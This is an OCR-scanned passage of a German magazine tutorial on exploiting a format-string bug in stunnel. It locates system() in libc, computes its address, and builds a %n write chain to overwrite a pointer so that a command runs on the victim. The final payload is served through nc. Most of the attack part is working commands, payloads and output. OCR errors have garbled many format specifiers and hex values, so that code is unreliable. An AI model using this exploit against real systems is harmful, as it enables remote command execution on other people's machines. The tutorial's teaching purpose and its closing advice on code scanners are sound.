00132000 07:00 81837
/mnt/aurox/lib/tls/libc-2.3.2.s0

Fir uns ist der Record mit dem At-
tribut der Ausfiihrbarkeit (x) wichtig.
Wir merken uns also die Adresse:
0x40173000.

Jetzt missen wir nur die Stelle fin-
den, an der (in der Bibliothek /ibc) sich
die Funktion system() befindet. Dazu
verwenden wir das Tool nm, dass uns
die Liste der Symbole in der Enddatei
angibt — in unserem Fall in der Datei
der Bibliothek libc. Wir verwenden die
Option -p (--dynamic), die uns die dy-
namischen Symbole auflisten wird:

$ nm -D /1lib/libc-2.3.2.s0 \
| grep system

(...)

0003d4d0 W system

Wenn die Bibliothek lib¢c unter der
Adresse 0x40173000 geladen wird
—und in ihrem Inneren die Funktion
system () Mit dem Offset 0x0003d4d0
beginnt — ist die Adresse, unter der
in dem Adressenbereich des Pro-
zesses stunnel die Funktion system ()
platziert wurde, 0x40173000+0x00
03d4d0=0x401b04d0. Diesen Wert
missen wir unter der Adresse
0x08053490 speichern.

Wir erstellen eine Kette

Wir haben schon die komplette
Information die zur Erstellung der
Kette nétig ist. Sie wird wie folgt
aussehen:

e der auszufiihrende Befehl, be-
endet mit einem Kommentarzei-
chen (damit der nachste Teil der
Kette nicht ausgefiuihrt wird), zum
Beispiel touch xxxx #,
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* die Adresse 0x08053490,

* die Adresse 0x08053491,

¢ die Adresse 0x08053492,

¢ die Adresse 0x08053493,

* der Tag s<eine zahl>x — der die
entsprechende Zahl der Zeichen
auflistet,

* der Tag s<eine zahl>$n — der
die Zahl der aufgelisteten Zei-
chen unter der Adresse aus
dem entsprechenden Pseudoar-
gument (also unter der Adresse
0x08053490) platziert,

e der Tag %$<eine _Zahl>x,

* der Tag s<eine zahl>$n — der
die Zahl der aufgelisteten Zei-
chen unter der Adresse aus dem
nachsten Pseudoargument (also
unter der Adresse 0x08053491)
platziert,

e der Tag %$<eine _Zahl>x,

* der Tag s<eine zahl>$n — der die
Zahl der aufgelisteten Zeichen un-
ter der Adresse aus dem nachsten
Pseudoargument (also unter der
Adresse 0x08053492) platziert,

e der Tag %$<eine _Zahl>x,

* der Tag ¢<eine zanl>sn — der die
Zahl der aufgelisteten Zeichen un-
ter der Adresse aus dem néchsten
Pseudoargument (also unter der
Adresse 0x08053493) platziert.

Wir beginnen damit, zu prifen,
welches Pseudoargument die erste
Adresse ist. Dazu schicken wir Stun-
nel die Kette:

touch xxxx #AAAAZX.%X.%X.%X.%X.%X. +

P T P G 5 T P - 54
Stunnel gibt folgendes aus:

touch xxxx <+
#AARALEff£540.400£5483.4029c41lb «
JEffff££6.40152¢70.238.63756£74. «
78782068.23207878.41414141. <
252e7825.78252e78.2e78252e. <+
252e7825.78252e78.2e78252e

Wie man sehen kann, ist das zehn-
te Pseudoargument vier Bytes
nach dem auszufiihrenden Befehl
(0x41414141 ist anna).

Jetzt stellen wir fest, wie viele Zei-
chendie Tags s<eine _zanl>x auflisten
sollten. Wie wir uns erinnern konnen,

Formatketten

modchten wir die Zahl 0x401b04d0
(unter der Adresse 0x08053490)
platzieren. Wir machen das indem
wir folgende Zahlen der Reihe nach
auflisten: 0xd0, 0x104, 0x11b, 0x140.
Bis zu dem ersten Tag sn wurden
achtundzwanzig Bytes aufgelistet
(sechzehn Bytes Adressen und zwolf
Bytes des Befehls touch xxxx). In
Verbindung damit sollte der erste Tag
%x 0xd0—28=180 Bytes auflisten, der
Zweite: 0x104—0xd0=52 Bytes, der
Dritte: 0x11b—0x104=283 Bytes, und
der Vierte: 0x140—0x11b=37 Bytes.
Schlieflich sieht die Kette, die wir
verschicken werden wie folgt aus:

touch xxxx #0x080534900x080534910 <
x080534920x08053493%180x%10Sn «
$52x%11$n%23x%125n%37x%13%n

Um der geschickten Kette die Bytes
hinzuzufligen, denen keine ASCII
Zeichen entsprechen, verwenden
wir den Befehl echo:

$ echo 'touch xxxx #'\
‘echo -e '\x90\x34\x05\x08\x91 «
\x34\x05\x08\x92\x34\x05\x08 <
\x93\x34\x05\x08"' "\
'$180x%105n%52x%115n%23x
$12$n%37x%13%n"' | nc -1 -p 2525

Als Ergebnis dieses Befehls er-
scheint auf dem Rechner der Opfer
eine leere Datei xxxx.

Zusammenfassung

Die Fehler, die das Weiterleiten der
Formatkette an die Anwendung er-
moglichen, kénnen durchaus gefahr-
lich sein, genau so wie die Fehler, die
den Bufferliberlauf erméglichen. Es
gibt zum Giick auch Tools, die den
Programmierern helfen, sich vor sol-
chen Fehlern zu schitzen.

Das erste Tool zum Scannen der
Quellcode auf der Suche nach den mit
Formatketten verbundenen Fehlern
war pscan. Zur Zeit gibt es viele wei-
teren Tools zum Scannen von Quell-
code und viele von ihnen erkennen die
Fehler der Formatketten, zum Beispiel
Flawfinder, RATS, oder ITS4. Wir
raten den C Programmierern sie anzu-
wenden — sie erhdhen die Sicherheit
der selbst erstellten Anwendungen. B
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